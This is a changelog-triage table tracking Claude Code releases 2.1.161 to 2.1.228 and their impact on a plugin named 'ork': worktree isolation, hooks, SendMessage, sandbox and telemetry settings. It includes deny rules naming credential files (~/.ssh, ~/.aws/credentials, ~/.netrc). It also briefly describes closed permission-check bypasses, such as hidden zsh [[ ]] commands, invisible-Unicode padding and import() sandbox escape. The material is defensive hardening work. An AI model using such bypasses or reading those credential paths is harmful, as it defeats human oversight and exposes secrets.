| `/mcp` collapse unused connectors | 2.1.161 | `/mcp` collapses claude.ai connectors never signed in to behind a "Show unused connectors" row | Long connector list with dead entries |
| `OTEL_LOG_ASSISTANT_RESPONSES` | 2.1.193 | New `claude_code.assistant_response` OTEL log event carries the model's response text. **Redacted unless `OTEL_LOG_ASSISTANT_RESPONSES=1`; when unset it follows `OTEL_LOG_USER_PROMPTS`** — deployments already logging prompts START logging response content on upgrade. Set `=0` to keep prompts-only. Same secret-leak class as `OTEL_LOG_RAW_API_BODIES` (2.1.111) | No response-text log event; prompt logging never implied response logging |
| Notification agent events | 2.1.198 | `Notification` hook fires `agent_needs_input` / `agent_completed` for background agents. **Adopted:** ork's `notification/sound.ts` + `desktop.ts` map both — needs-input gets a desktop banner + Ping (actionable), completed is sound-only Glass so a fleet of finishing agents doesn't spam banners. `ORK_SOUND_AGENT_NEEDS_INPUT` / `ORK_SOUND_AGENT_COMPLETED` override the sounds | New types silently dropped by the notification hooks |
| subagents background by default | 2.1.198 | Agent-tool subagents launch in the background by default; pass `run_in_background: false` when a synchronous result is required. ork: 15/36 agents already declare `background: true`; `cover`/`expect` pass the flag explicitly (`chain-patterns` has the await/Monitor note) | Subagents ran foreground unless requested |
| worktree git escape closed | 2.1.216 | Worktree-isolated subagents can no longer redirect git into the shared checkout via `git -C`, `--git-dir`, or `GIT_DIR`/`GIT_WORK_TREE` — isolation is enforced, not advisory. ork: coordinator-level `git -C` in swarm-migrate/quality-gates scripts is unaffected (those run in the main context); worker prompts must route parent-tree git through the coordinator (`chain-patterns/references/worktree-agent-pattern.md` has the note) | Workers could silently mutate the shared tree |
| managed OTEL endpoint governs all signals | 2.1.217 | A managed `OTEL_EXPORTER_OTLP_ENDPOINT` now governs traces, metrics, and logs; lower-scope signal-specific overrides can't redirect telemetry away. ork: no managed endpoint shipped — operator note in `configure/references/cc-version-settings.md` | Per-signal overrides in lower scopes silently won |
| /code-review backgrounds | 2.1.218 | `/code-review` runs as a background subagent — review work stays out of the conversation, stacked slash commands keep it as their target. ork: review-pr's comparison notes updated; `/ork:review-pr` remains the interactive foreground audit | `/code-review` ran inline, filling the conversation |
| fork skills background by default | 2.1.218 | Skills with `context: fork` run in the background by default; opt out per skill with `background: false`. ork: all 23 `user-invocable: true` fork skills declare `background: false` (#3093) — user-typed commands stay interactive (verdict gates, AskUserQuestion wizards); the other 50 model-invoked fork skills deliberately keep the background default. **Verified empirically (#3238): user-TYPED invocations DO background.** Session transcripts on CC 2.1.218/2.1.220 show typed fork-skill commands (no `background: false`) emitting `Running in the background as @&lt;skill&gt;` + a `forked-skill-launch` record, while the same skill WITH `background: false` on 2.1.220 ran foreground and returned its result as the command's own stdout in the same turn. So the regression was live for every user on >= 2.1.218 until the #3093 declarations shipped | Forked skills ran inline |
| Explore inherits session model (≤ Opus) | 2.1.198 | Built-in Explore agent inherits the main session's model capped at Opus. **Cost note:** from a premium-model session (e.g. Fable 5), Explore bills at Opus — no longer haiku-floored, and there is no knob to pin it back | Explore always ran on haiku |
| extended-thinking inheritance | 2.1.198 | Subagents and context compaction inherit the session's extended-thinking config automatically; no agent-frontmatter knob needed, no ork change | Extended thinking disabled in delegated tasks |
| `--bg` + `--print` rejected up front | 2.1.198 | `claude --bg` combined with `--print`/`-p` is rejected at launch instead of silently creating an unattachable session. ork's `--bg` usages (`ci-sentinel`, `dev`) never combine the flags | Silent unattachable session |
| `/agents` wizard removed | 2.1.198 | Manage subagents by asking Claude or editing `.claude/agents/` directly. No ork surface ever referenced the wizard | Interactive `/agents` wizard |
| stacked slash-skills (≤5) | 2.1.199 | `/skill-a /skill-b do XYZ` loads all leading skills (up to 5) in order; the trailing args belong to the whole stack — `/ork:auto /ork:brainstorm &lt;goal&gt;` now composes officially (documented in `auto`) | Only the first slash skill loaded |
| subagent partial results on API errors | 2.1.199 | Subagents cut off by a rate limit or server error return their partial work and report the error to the parent instead of failing silently or reading as success | Silent failure or false-success results |
| hook exit-2 stderr visible | 2.1.199 | `SessionStart`/`Setup`/`SubagentStart` hooks exiting code 2 now show stderr in the transcript. ork's SessionStart banners are async exit-0 (intentionally operator-visible, unchanged); no ork hook exits 2 on these events | Exit-2 stderr silently hidden |
| `CLAUDE_CODE_RETRY_WATCHDOG` | 2.1.199 | Raises the default retry count for non-capacity transient errors to 300 and lifts the cap of 15 on `CLAUDE_CODE_MAX_RETRIES` — relevant to long headless `claude -p` harnesses (noted in `bare-eval`) | Retry cap 15, no watchdog |
| permission mode "Manual" rename | 2.1.200 | The "default" permission mode displays as "Manual"; `--permission-mode manual` and `"defaultMode": "manual"` accepted as aliases while `default` stays valid. ork settings define no `defaultMode`; skill flags use explicit modes (`acceptEdits`/`dontAsk`/`plan`) | UI label "default" only |
| AskUserQuestion no auto-continue | 2.1.200 | AUQ dialogs no longer auto-continue by default; an idle timeout is opt-in via `/config`. ork uses AUQ as blocking intent gates and never relied on auto-continue (noted in `configure`) | Dialogs auto-continued after idle |
| worktree plugin loading fix | 2.1.200 | Project-scoped plugins now load correctly from git worktrees of the same repository — unblocks worktree-based plugin dev loops. Also fixes `claude agents --plugin-dir` flag placement | Plugins missing when working from a worktree |
| Sonnet 5 harness-reminder delivery | 2.1.201 | Sonnet 5 sessions stop using the mid-conversation system role for harness reminders. CC-internal; hook `additionalContext` delivery unchanged, no ork surface | — |
| Resume speed in many-worktree repos | 2.1.202 | Resuming a session by name or opening the resume picker no longer takes minutes / high memory in repos with many git worktrees — directly relevant to ork's worktree-heavy model (agents `isolation: worktree`, `/ork:implement`, `/ork:dev` branch-named worktrees, `hq-ext:start-issue`) | Multi-minute, high-memory session resume in worktree-heavy repos |
| MCP config `url` without `type` | 2.1.202 | A remote MCP server entry in `.mcp.json` with a `url` but no `type` now errors with a suggestion to add `"type": "http"`. Doctor MCP diagnostics should echo this: a url-only entry is a **missing `type` field**, not a malformed command — tell the user to add `"type": "http"` (or `"sse"` for SSE transport) | Pre-2.1.202 the same misconfig surfaced as the cryptic `command: expected string`, misdirecting users toward `command`/`args` |
| Worktree shell-command leak closed | 2.1.203 | Worktree-isolated subagents no longer run Bash/git against the parent checkout — completes the 2.1.154 isolation guard, which left a residual shell-command leak through 2.1.202 (claims corrected in `chain-patterns/worktree-agent-pattern.md`, `implement/manual-worktree-pattern.md`) | Isolated agents' shell commands could execute in the primary tree, auto-stashing untracked files |
| startup command warnings → `/doctor` + `/status` | 2.1.203 | CC no longer prints "claude command missing or broken" warnings at startup — they surface in native `/doctor` + `/status` instead. CC-internal display change; ork's `doctor` skill validates hook `command:` entries independently, no surface change | Warnings printed at every startup |
| LSP-plugin disuse false-positive fix | 2.1.203 | LSP-only plugins are no longer flagged for disuse when their language servers deliver diagnostics or answer navigation requests. ork ships no LSP servers — unaffected either way | LSP-only plugins wrongly flagged unused |
| MCP `roots/list` additional dirs | 2.1.203 | MCP `roots/list` now includes the session's additional working directories (`--add-dir`), with `notifications/roots/list_changed` when the set changes. Client-side capability CC advertises to servers; ork's MCP servers consume no roots | Roots omitted `--add-dir` directories; no change notification |
| SessionStart hook streaming in headless | 2.1.204 | Hook events now stream during SessionStart hooks in headless sessions — remote workers are no longer idle-reaped mid-hook. ork's 4 SessionStart hooks are fast/async (`timeout: 5`) and unaffected; benefits headless `claude -p` harnesses (`bare-eval`, `ci-sentinel`) | Headless remote workers could be idle-reaped during a SessionStart hook |
| `--json-schema` strict validation | 2.1.205 | An invalid `--json-schema` now hard-errors instead of silently falling back to unstructured output; the `format` keyword is now accepted. Relevant to `bare-eval`, the only ork surface using `--json-schema` (grading/trigger/quality schemas) — a malformed schema fails loudly now (noted in `bare-eval/references/invocation-patterns.md`). ork's grading schemas use `format` only as a property name, not the JSON-Schema keyword, so the keyword change is a no-op | Invalid schema silently produced unstructured output; `format` keyword rejected |
| native `/doctor` full checkup + `/checkup` alias | 2.1.205 | CC's native `/doctor` is now a full setup checkup that can diagnose and fix issues, aliased as `/checkup`. Distinct from ork's `/ork:doctor` skill — no ork skill behavior change; ork's doctor validates manifest/hook/skill integrity independently | Native `/doctor` was a narrower diagnostic |
| native `/doctor` CLAUDE.md-trim check | 2.1.206 | Native `/doctor` now proposes trimming checked-in `CLAUDE.md` files by cutting content Claude could derive from the codebase. Complementary to ork's own `CLAUDE.md ≤ 4800B` byte-budget PostToolUse hook (`hooks/src/posttool/write/claude-md-byte-budget.ts`) + `tests/perf/test-token-overhead.sh` — both push the same direction; no ork change | No native CLAUDE.md-size guidance |
| `EnterWorktree` external-path confirmation | 2.1.206 | `EnterWorktree` now asks for confirmation before entering a git worktree OUTSIDE the project's `.claude/worktrees/` directory. **ork's entire worktree convention is `../&lt;repo&gt;-&lt;task&gt;`** — always outside `.claude/worktrees/` — so every documented `EnterWorktree`/worktree-add path now triggers a confirmation prompt (`implement/manual-worktree-pattern.md`, `implement/references/worktree-workflow.md`, `chain-patterns/worktree-agent-pattern.md`). Interactive flows just confirm; headless/agent flows should expect the prompt or place worktrees under `.claude/worktrees/` | External-path worktrees were entered without confirmation |
| MCP per-server `request_timeout_ms` honored | 2.1.206 | A per-server `request_timeout_ms` in `.mcp.json` / `--mcp-config` is now respected instead of defaulting to 60s — long-running MCP tool calls no longer time out at 60s in fresh sessions. ork sets no per-server timeout today, but it is now available for slow MCP servers | Per-server `request_timeout_ms` ignored; hardcoded 60s default |
| `/commit-push-pr` pushDefault auto-allow | 2.1.206 | CC's built-in `/commit-push-pr` now auto-allows `git push` to `remote.pushDefault` (or the sole configured remote) in addition to `origin`. ork's `commit`/`create-pr` skills push explicitly to `origin`, so no ork permission surface changes | Only pushes to `origin` were auto-allowed |
| worktree subagent git isolation | 2.1.210 | Worktree-isolated subagents' git operations are further confined to their own worktree — continues the 2.1.154/2.1.203 isolation lineage. ork's 15+ `isolation: worktree` agents benefit; none relied on mutating the main checkout (merge-back stays explicit per ork's worktree rules) | Residual git-op leakage from isolated subagents |
| auto mode floors hook `ask` at a prompt | 2.1.211 | Auto mode no longer overrides a PreToolUse hook returning `permissionDecision: "ask"` — ork's `network-egress-guard` and `dangerous-command-blocker` Bash guards now reliably surface their prompt under auto mode. CC-side fix; no ork change | Auto mode could auto-approve past a hook's `ask`, silently bypassing ork's egress/danger guards |
| "always allow" persisted at repo root | 2.1.211 | Interactively-granted "always allow" permission decisions are stored at the repo root, so they persist across sessions and git worktrees — relevant to ork's worktree-heavy model (`isolation: worktree`, `/ork:implement`, `/ork:dev`). Distinct from ork's declared static allow/deny settings, which were never affected | Worktree sessions re-prompted for approvals already granted in the main checkout |
| `--forward-subagent-text` stream-json flag | 2.1.211 | New headless flag (`CLAUDE_CODE_FORWARD_SUBAGENT_TEXT` env) forwards subagent text into the parent `stream-json` output. Available to `bare-eval`/`ci-sentinel` harnesses; not consumed by ork today | Subagent text absent from headless stream-json |
| hook `continue:false` halt no longer dropped | 2.1.212 | A blocking hook's halt is honored even when the tool call fails or completes mid-stream, and hook-infra errors are no longer misreported as user rejections. ork's blocking hooks (SessionEnd/SubagentStop dispatchers) now block reliably; no ork change. `skill/merge-readiness-checker.ts` was cited here until #3461 removed it as a never-invoked hook | `continue:false` could be silently dropped mid-stream |
| plan mode Bash write bypass closed | 2.1.212 | Plan mode no longer auto-runs file-modifying Bash commands without a prompt — makes the "read-only plan mode" premise in `implement`/`brainstorm` accurate at the CC level | File-modifying Bash could slip through plan mode unprompted |
| worktree symlink escape fix | 2.1.212 | Worktree isolation can no longer be escaped via a symlinked `.claude/worktrees` path. ork commits no such symlink — hardening upside in the 2.1.154/2.1.203/2.1.210 lineage | Symlinked worktree dir could redirect isolated writes |
| `/fork` = background-session copy; `/subtask` | 2.1.212 | `/fork` now copies the conversation into a new background session (own row in `claude agents`); the in-session subagent it used to launch is renamed `/subtask`. ork's "fork pattern" (`chain-patterns/references/fork-pattern.md`) is `Agent()`-based auto-forking and is unaffected. Supersedes the 2.1.77-era `/fork`→`/branch` aliasing | `/fork` launched an in-session subagent |
| MCP calls >2 min auto-background | 2.1.212 | Long-running MCP tool calls automatically move to background after 2 minutes (`CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS` to tune/disable). Complements the 2.1.206 per-server `request_timeout_ms` row; ork sets neither today | Long MCP calls blocked the turn until timeout |
| `ExitWorktree` after `--continue`/`--resume` | 2.1.212 | `ExitWorktree` no longer fails with "no active EnterWorktree" in resumed print/SDK sessions — relevant to ork's 38 ExitWorktree-carrying agents in headless harnesses (`bare-eval`, `ci-sentinel`) | Resumed headless sessions couldn't exit their worktree |
| permission-analyzer tightenings | 2.1.214 | Batch of fail-closed fixes: single-segment `dir/**` allow rules scope to `&lt;cwd&gt;/dir` only, fd-redirect forms fail closed, commands >10k chars always prompt, zsh subscripts in `[[ ]]` prompt, `--help`/`man` auto-approve narrowed. **All no-op for ork** — its Bash rules are deny-only and it ships no path-glob allow or `if:` rules (verified in the 2026-07-18 triage) | Analyzer edge cases could auto-approve past intent |
| SessionStart `source: "fork"` | 2.1.214 | Forked sessions report SessionStart `source: "fork"` instead of `"resume"`. **Adopted**: ork's `sync-session-dispatcher` light-mode gate now includes `fork` alongside `compact`/`resume`, so forks skip redundant rules re-materialization (forks share the original session's project dir) | Forks arrived as `"resume"` and were implicitly light-mode |
| builtin-named plugin skills invocable headless | 2.1.221 | Plugin- and org-delivered skills named after terminal-only built-ins (`/help`, `/feedback`) are invocable again in non-interactive sessions. **Real ork surface:** `src/skills/help/SKILL.md` declares `name: help` with `user-invocable: true`, so `/ork:help` was un-invocable from headless `claude -p`/SDK runs until this fix | `/ork:help` silently unavailable in `-p`/SDK sessions |
| zsh `[[ ]]` Bash permission bypass closed | 2.1.221 | A Bash permission-check bypass where zsh executed hidden commands inside `[[ ]]` regex conditionals is closed; affected commands now prompt. Hardens the same path the 2.1.214 analyzer batch started on, ahead of ork's deny-only Bash guards (`dangerous-command-blocker`, `network-egress-guard`) | Hidden commands inside `[[ ]]` conditionals ran without a permission check |
| `--mcp-config` connects before first turn in `-p` | 2.1.221 | MCP servers from `--mcp-config` are connected before the first turn in print mode; previously the model emitted tool calls as literal text. Relevant to ork's headless harnesses (`bare-eval`, `ci-sentinel`) whenever they pass `--mcp-config` | First-turn MCP tool calls rendered as text, silently degrading the run |
| `claude plugin validate` name warnings | 2.1.221 | `claude plugin validate` warns when a marketplace or plugin name would be rejected by Claude Desktop's managed marketplace sync. ork publishes the single `ork` plugin — run validate before a release to confirm the name still passes Desktop sync | Desktop managed-marketplace sync could reject the plugin with no local warning |
| plugin `skills: "."` root path | 2.1.221 | Plugins may declare `"."` as a `skills` path, and the root-level `SKILL.md` validation error now suggests using the plugin root. ork's manifest uses `"skills": "all"` (`manifests/ork.json`) and is unaffected — noted for single-skill plugin authors | `"."` rejected as a skills path |
| `/plugin` install activates immediately | 2.1.221 | Plugins installed from `/plugin` activate immediately when safe instead of always requiring `/reload-plugins`, and `/plugin install` refreshes a stale marketplace catalog and retries before reporting a plugin not found. Shortens the ork install loop documented in `setup` | Install needed a manual `/reload-plugins`; a stale catalog produced a false "not found" |
| WebSearch at `xhigh`/`max` without thinking | 2.1.221 | WebSearch no longer fails with a 400 at effort `xhigh`/`max` when thinking is disabled. ork's effort-scaling skills (`brainstorm`'s phase scaling, `quality-gates` gating) can pair the top effort tiers with WebSearch and thinking off | WebSearch 400 at the two highest effort tiers |
| `/fork` creates its own worktree | 2.1.221 | Sessions forked with `/fork` create a new worktree of their own instead of working in the original session's checkout — continues the 2.1.212 `/fork`-becomes-a-background-session change. ork's fork pattern is `Agent()`-based (`chain-patterns/references/fork-pattern.md`) and unaffected | Forked sessions shared the parent's checkout |
| `/status` shows session kind | 2.1.221 | `/status` reports `interactive`, or a background job that is `attached` or `unattended` — useful when auditing ork's `--bg` surfaces (`ci-sentinel`, `dev`) | No way to tell a background session apart from an interactive one |
| worktree isolation covers every session type | 2.1.222 | Worktree-isolated sessions **and their subagents** can no longer run destructive git against the main checkout; isolation now applies to file edits and Bash in every session type. Closes the last gap in the 2.1.154 → 2.1.203 → 2.1.210 → 2.1.212 lineage, each of which sealed one escape at a time. ork's 25 `isolation: worktree` agents are now isolated by construction rather than by convention (merge-back stays explicit per ork's worktree rules) | Some session types still let isolated agents mutate the shared checkout |
| background-task auto-allow hook bypass closed | 2.1.222 | PreToolUse auto-allow hooks no longer bypass tool restrictions inside background agent tasks (summaries, compaction, renames). Same class as the 2.1.77/2.1.78 "allow bypasses deny" fixes, now covering CC's internal housekeeping tasks | An auto-allow hook could bypass tool restrictions in background housekeeping tasks |
| `disable-model-invocation` refusal improved | 2.1.222 | When Claude tries to invoke a skill marked `disable-model-invocation`, it is now told to ask you to run the skill instead of replicating its workflow. **33 ork skills** set `disable-model-invocation: true`, so this removes the "model reimplements the skill from memory" failure mode across all of them | Model silently reproduced a DMI skill's workflow instead of asking |
| subagent spinner shows its own `effort:` | 2.1.222 | A subagent's transcript spinner shows the subagent's own `effort:` setting instead of the session's. All 36 ork agents declare `effort:` in frontmatter, so the label was wrong for every delegated run before this | Effort label misreported on every subagent |
| gateway keep-alive vs stream idle timeout | 2.1.222 | The stream idle timeout no longer fires on custom `ANTHROPIC_BASE_URL` gateways while server keep-alive pings are arriving on the wire. **Correction:** this row used to say ork sets `CLAUDE_STREAM_IDLE_TIMEOUT_MS: 180000` in `src/settings/ork.settings.json`. That declaration never took effect (plugin `settings.json` is not a scope CC reads) and 180000 is below CC's 300000 floor in any case; the key has been removed. Gateway users need no override at all now that keep-alives suppress the spurious idle | Long agent runs killed on gateways despite live keep-alives |
| `SendMessage` truncates long summaries | 2.1.222 | `SendMessage` truncates an over-long summary instead of rejecting the send. 34 of ork's 36 agents declare `SendMessage`, so agent-to-agent handoffs no longer fail on a character limit | Sends failed outright when the summary exceeded the limit |
| auto mode classifies `SendMessage` | 2.1.222 | Messages sent to other agent sessions via `SendMessage` are evaluated by the permission classifier before dispatch under auto mode — closes an inter-agent instruction path that previously skipped classification | Agent-to-agent messages bypassed the auto-mode classifier |
| `/usage` MCP attribution fix | 2.1.222 | `/usage` no longer over-attributes cost to MCP servers: a server's share reflects only the requests that actually consumed its tool results, not every turn after any call to it. Improves the per-MCP breakdown ork's `analytics` skill reads (see the 2.1.149 row) | MCP cost inflated by every turn following a single call |
| Remote Control auto-start is user-scope only | 2.1.222 | Repo-local `.claude/settings.json` / `.claude/settings.local.json` can no longer TURN ON Remote Control auto-start (they can still turn it off); enable at user scope via `/config`. ork ships no Remote Control setting (verified: zero matches in `src/settings/`), and a cloned repo can no longer opt a user in | A checked-in project setting could auto-start Remote Control |
| ultraplan removed | 2.1.222 | The ultraplan feature is removed. ork's `help` skill command table already records this (`src/skills/help/SKILL.md`) — `/ultraplan` and the "Refine with Ultraplan" hand-off no longer exist | Docs could still point users at a removed command |
| Bash permission bypass closed | 2.1.223 | A crafted command could hide parts of itself from permission checks. Independent of ork's own normalizer (`src/hooks/src/lib/`), which closed a sibling class in #3288/#3289. The two are belt-and-braces on the same surface, and ork's guards stay load-bearing because they encode ork-specific deny intent CC has no view of | A command could present one form to the permission check and another to the shell |
| invisible-Unicode approval bypass closed | 2.1.223 | Commands padded with tabs or invisible Unicode can no longer hide part of the command from the approval dialog. Same class as ork's `\&lt;NL&gt;`-in-token finding (2026-08-06): what the operator approves is now what runs | The approval dialog could show less than the shell would execute |
| workflow `import()` sandbox escape closed | 2.1.223 | Workflow scripts can no longer use dynamic `import()` to run code outside the workflow sandbox. ork ships 3 workflow scripts (`audit-full-mapreduce.js`, `skill-fitness.js`, `heal-loop.js`). **Verified: zero `import(` across all three**, so nothing regresses. Treat dynamic `import()` as unavailable when authoring new workflow scripts | A workflow script could execute outside its sandbox |
| agent `bypassPermissions` honors org policy | 2.1.223 | An agent definition's `bypassPermissions` mode no longer ignores the org bypass-permissions disable policy. **Verified no-op for ork: zero `bypassPermissions` in `src/agents/`**. No ork agent has ever declared it | An agent definition could override an org-wide bypass ban |
| `/review` is an alias of `/code-review` | 2.1.223 | `/review` no longer exists as a separate fast single-pass review; it now routes to `/code-review`, which with no level reuses the level you typed last. This **reverses the 2.1.202 split** that `review-pr/SKILL.md` documented, so the "quick pass → `/review`, multi-agent → `/code-review`" routing advice was stale from 2.1.223 until corrected here | Docs route users to a distinction CC no longer draws |
| `CLAUDE_CODE_DISABLE_1M_CONTEXT` widened | 2.1.223 | Now holds **every** Claude model with a native 1M window to 200K via auto-compaction, not just a fixed list, and a startup warning appears when auto-compaction isn't holding the session to 200K. `audit-full/SKILL.md` already tells users to unset it; the check stays correct, the blast radius is wider | A newly-1M model could grow past 200K despite the env var |
| `CLAUDE_CODE_DISABLE_UNKNOWN_MODEL_WINDOW_ENFORCEMENT` | 2.1.223 | Auto-compact now keeps sessions on unrecognized model IDs inside the assumed context window; set this to `1` to restore the old unbounded behavior. ork sets neither (verified: zero matches in `src/settings/`) | Sessions on unknown model IDs grew past the assumed window |
| `crossSessionInbound` + `dialogExpiry` | 2.1.224 | Inbound cross-session message policy (`accept` / `hold` / `refuse`) and the approval-dialog deadline (default 5 min). **ork ships neither key** (verified: zero matches across `src/` and `manifests/`), so every ork session runs CC's permission-mode default: a `bypassPermissions` session **holds** every inbound peer message for approval, and a prompting session delivers them | No declared inbound policy; behavior varies with the session's permission mode |
| cross-session `SendMessage` + `ListAgents` | 2.1.224 | Sessions can message each other across your machines; `ListAgents` discovers them. **Counts corrected TWICE. Read the method, not just the number.** Measured by parsing the frontmatter `tools:` block of all **36** agent files (`README.md` excluded): **19 grant `SendMessage`, 19 grant `ListAgents`, and it is the SAME 19.** **Zero agents grant one without the other**, so the #3316 "sends with no roster to scope against" shape does not exist in ork's roster. Two earlier figures here were wrong and are retracted: "34 of 36 grant `SendMessage`, 0 grant `ListAgents`" (2026-08-08) and "23 of 37, 19, 4 send-only" (2026-08-13, shipped in #3469). Both were produced by `grep -rln SendMessage src/agents/`, which counts a **prose mention in the agent body** as a grant and counts `README.md` as an agent. The four phantom send-only agents (`code-quality-reviewer`, `component-curator`, `eval-runner`, `security-auditor`) name `SendMessage` in their instructions and grant **neither** tool. **Do not re-derive this by grep. `tests/agents/test-agent-messaging-scope.sh` (shipped 2026-08-09 for #3316) already asserts the invariant in CI** — a non-background agent carrying `SendMessage` must also carry `ListAgents` — and it reads frontmatter inside the `---` fence precisely so a prose mention cannot false-positive. It reports 36 agents checked, 36 passed. That gate, not a grep, is the answer to "can any ork agent send without a roster". Delivery is per-session-socket on one machine, via Anthropic servers across machines | A grant count measured by file-content grep inflates silently, once by prose and once by `README.md`, and contradicts a passing CI gate nobody consulted |
| `SendMessage` reports failed delivery | 2.1.224 | `SendMessage` no longer reports "Message sent" when the write to the recipient's inbox actually failed. Directly relevant to the 10 ork agents whose prose instructs a direct peer send: a failed hand-off is now visible instead of silently assumed delivered | Agents believed a hand-off landed when it never did |
| `denyRead` trailing-slash bypass closed | 2.1.224 | Sandbox filesystem deny entries written with a trailing slash (`denyRead: "~/.aws/"`) were silently bypassable on Linux and macOS. **Verified no-op for ork**, and now doubly so: the `sandbox` block this row cited in `src/settings/ork.settings.json` has been deleted (a plugin `settings.json` never delivered it — see the plugin-settings row at 2.1.226). The surviving recommendation, `doctor/references/sandbox-posture.md`, uses `["~/.ssh", "~/.aws", "~/.config/gh"]` with no trailing slash. Keep it that way when #3311 adds the credential denies to a scope CC actually reads | A trailing slash turned a deny rule into a no-op |
| sandbox violations surface in Bash results | 2.1.224 | Sandbox violation details now appear in Bash tool results, so Claude sees which file or network access was denied and why. Removes the blind-retry loop that made sandbox adoption expensive to debug (#3311, #3322) | A sandboxed denial looked like an unexplained command failure |
| sandbox credential **masking** options | 2.1.224 | `sandbox.credentials` gains `extract` + `onExtractNoMatch` for structured env values, `decode: "jwt"` with `maskClaims`, and `awsPairs`/`sigv4` for AWS SigV4 re-signing. These require `network.tlsTerminate` and are honored **only** from user, managed, or `--settings` scope, so a plugin-shipped or project-scoped value is ignored. ork documents this key in `security-patterns/SKILL.md` with `mode: deny` only | Only whole-value denial was documented; masking was unavailable |
| 200-subagent-per-session cap removed | 2.1.224 | The per-session spawn cap is gone; long-running sessions no longer refuse new agents. Concurrency and depth limits still apply. **Retires ork's standing "capped at 6-12, below the new 200 ceiling" immunity claim** (recorded in `shared/cc-support.json` on 2026-07-18). The ceiling it referenced no longer exists, and depth is now the only structural limit (#3324) | Docs assert immunity from a cap that no longer exists |
| `archive` plugin source | 2.1.224 | Plugins can install from a zip over HTTPS with optional SHA-256 pinning, without git or npm. ork's marketplace entry uses a local path source (`.claude-plugin/marketplace.json`); `archive` is an additional distribution channel with supply-chain pinning, not a defect to fix | Plugin distribution requires git or npm |
| long project paths no longer collide | 2.1.224 | Project paths over 200 chars could resolve to another project's session directory under a shared sanitized prefix. **Verified no-op for ork: the longest sanitized project dir on this machine is 93 chars**, and the worktree convention (`.worktrees/&lt;task&gt;` inside the repo) adds ~15 | Session list/rename/fork/delete could cross projects |
| headless cross-session messages expire | 2.1.225 | Cross-session messages no longer stay parked without a notice or expiry in headless sessions and during startup. Matters for ork's `-p` surfaces (`bare-eval`, `ci-sentinel`): a held message in a `-p` worker cannot show an approval dialog, so without expiry it parked forever | A headless worker accumulated invisible held messages |
| auto mode: safety-filter refusal isn't a block | 2.1.225 | Auto mode no longer counts a safety-filter refusal of its own permission check toward the consecutive-block limit; the action is still denied, but the model is told to move on instead of retrying. Changes the denial dynamics ork's auto-mode guards operate inside (#3331) | A refused permission check burned the consecutive-block budget |
| `SendMessage` reaches other machines by name | 2.1.225 | `SendMessage` can now **start** a conversation with a Remote Control session on another machine by name (`ListAgents` shows them as `name [ref]`), instead of only replying. **Escalates #3316**: a background ork agent that guesses a name is no longer confined to this machine, and a confirmed remote recipient is never silently swapped for a same-named local session | Cross-machine sends were reply-only, bounding the blast radius |
| plugin `settings.json` honours only 2 keys | 2.1.226 (verified-at, not introduced-at) | **A plugin's bundled `settings.json` is NOT a settings scope.** `plugins-reference.md:858` verbatim: "Default configuration applied when the plugin is enabled. Only the `agent` and `subagentStatusLine` keys are currently supported". The scope list (`settings.md:15-24`) is Managed / User / Project / Local — a plugin bundle is none of them. Everything else a plugin declares there is silently discarded: no error, no warning, no log line. ork shipped 10 top-level keys and 14 env vars in `src/settings/ork.settings.json` for months and **not one ever took effect** (measured: of the 14 env vars, every one was unset in a live session except `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS`, which came from the operator's shell profile, not from ork). Three independent live proofs of the discard: `plansDirectory: ".claude/plans"` never created that directory while the default `~/.claude/plans` exists; `sandbox.enabled` + `failIfUnavailable: true` never sandboxed a Bash call nor hard-failed startup; `CLAUDE_CODE_NO_FLICKER: "1"` never overrode the operator's explicit `tui: "default"`. The inert keys were deleted in this change. **The `permissions` block is deliberately retained even though it is equally inert**, because inertness and coverage are independent arguments: deleting it loses no enforcement, but it would delete the only written record that someone intended those paths denied, and "the key was inert" must not quietly become "the risk was reviewed". Its `Read(~/.ssh/**)` / `Read(~/.aws/credentials)` / `Read(~/.netrc)` denies have never been enforced by anything — not by this discarded file, and not by a hook, because **ork registers no PreToolUse hook for the `Read` tool at all** (measured: 19 `pretool/bash/*` + 1 `pretool/write-edit/*`, no `pretool/read/*` category exists). The block stays until a real hook covers it. For plugin-private config the sanctioned path is `userConfig` -> `pluginConfigs[&lt;plugin-id&gt;].options` (`plugins-reference.md:581`), surfaced as `$\{user_config.KEY\}` and `CLAUDE_PLUGIN_OPTION_&lt;KEY&gt;`; for anything else, guide the operator to user settings or their shell profile | A plugin author believes shipped defaults are in effect when CC discarded every one of them |
| 2.1.227 changelog bullets reviewed | 2.1.227 | Closes the deliberate limit recorded in `shared/cc-support.json` on 2026-08-11, which triaged 2.1.227 from the **shipped binaries** (contract surface only) and left the changelog unreviewed. All five bullets are CC-internal with no ork surface: feature-flag tier evaluation on an expired login token, `claude-code-action` `allowed_non_write_users` on GitHub-hosted runners, `/tui` restoring a rewound conversation, slash-menu rendering, event-loop stalls | A release was recorded as triaged on one axis only |
| project memory folder no longer deleted | 2.1.228 | Session cleanup was **deleting contents inside a project's memory folder**. That is exactly where the operator memory store lives (`~/.claude/projects/&lt;slug&gt;/memory/`), so on CC &lt; 2.1.228 a cleanup pass could destroy accumulated memory files. This is a **floor argument, not an adoption**: no ork change makes it safe, only running &gt;= 2.1.228 does | Session cleanup could silently delete the memory store |
| plugin-cache cleanup spares symlinked dev checkouts | 2.1.228 | Background plugin-cache cleanup deleted a plugin's cache when its only version was a **symlinked development checkout**, ork's own dev loop, where `CLAUDE_PLUGIN_ROOT` points into the cache. Also a floor argument | A dev-checkout plugin could be garbage-collected mid-session |
| Write tool no longer requires a prior Read | 2.1.228 | Newer models may overwrite an existing file they have not read this session, matching the Edit tool's rules; older models still require the read. **Verified no-op for ork**: no hook or doc encodes a read-before-write assumption (measured: `src/hooks/src/pretool/write/` holds `architecture-change-detector.ts` + `security-pattern-validator.ts`, neither gates on a prior read) | Write hard-failed on an unread existing file for every model |
| marketplace entries merge whole | 2.1.228 | A marketplace entry redefined in a higher-precedence settings tier could inherit **another tier's custom headers**; entries now merge as whole entries. ork's `.claude-plugin/marketplace.json` declares no custom headers, so no-op, but a consumer who redefines the ork entry in user settings is now safe from header bleed | A redefined entry silently inherited foreign auth headers |
| cross-session inbox present on first run | 2.1.228 | Cross-session messaging sometimes started **without an inbox** in the first session after install or upgrade, so peer sends had nowhere to land. Relevant to #3316's delivery assumptions; no ork code change | A first-run session could drop inbound peer messages |
